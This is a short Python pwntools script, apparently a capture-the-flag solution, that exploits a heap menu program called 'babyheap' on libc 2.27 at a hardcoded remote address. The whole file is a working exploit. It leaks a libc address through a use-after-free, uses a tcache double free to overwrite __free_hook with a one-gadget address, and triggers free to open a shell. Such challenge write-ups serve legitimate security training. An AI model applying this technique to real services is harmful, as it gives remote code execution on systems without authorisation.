from pwn import *
elf = context.binary = ELF("./babyheap")
libc = ELF("../../libs/libc-2.27.so")
# context.log_level = logging.DEBUG
context.terminal = ["tmux", "splitw", "-h"]

def do_debug():
	return gdb.debug(elf.path, gdbscript = """
												break *(main+62)
""")

def do_local():
	return process(elf.path)


def do_remote():
	return remote("161.97.176.150", 5555)

def alloc(index, size, content):
	p.sendlineafter("Exit", "1")
	p.sendlineafter("?", str(size))
	p.sendlineafter("?", str(index))
	p.sendlineafter("?",  content)

def free(index):
	p.sendlineafter("Exit", "3")
	p.sendlineafter("?", str(index))

def show(index):
	p.sendlineafter("Exit", "2")
	p.sendlineafter("?", str(index))

p = do_remote()
alloc(0, 0x2000, 8*b"A")
alloc(1, 0x2000, 8*b"B")
free(0)
show(0)
input("Get leak")
leak = u64(p.recvuntil("1.")[31:37].ljust(8, b"\x00"))
print(leak)
libc.address = leak - 0x3ebca0
alloc(2, 0x10, 8*b"A")
alloc(3, 0x10, 8*b"B")

free(2)
free(2)

log.info("libc base at: %x"%libc.address)
log.info("free hook: %x"%(libc.sym["__free_hook"]))

alloc(5, 0x10, p64(libc.sym["__free_hook"]))
alloc(6, 0x10, 8*b"C")
alloc(7, 0x10, p64(libc.address + 0x4f3c2))
input("Get shell")
free(0) # shell
p.interactive()
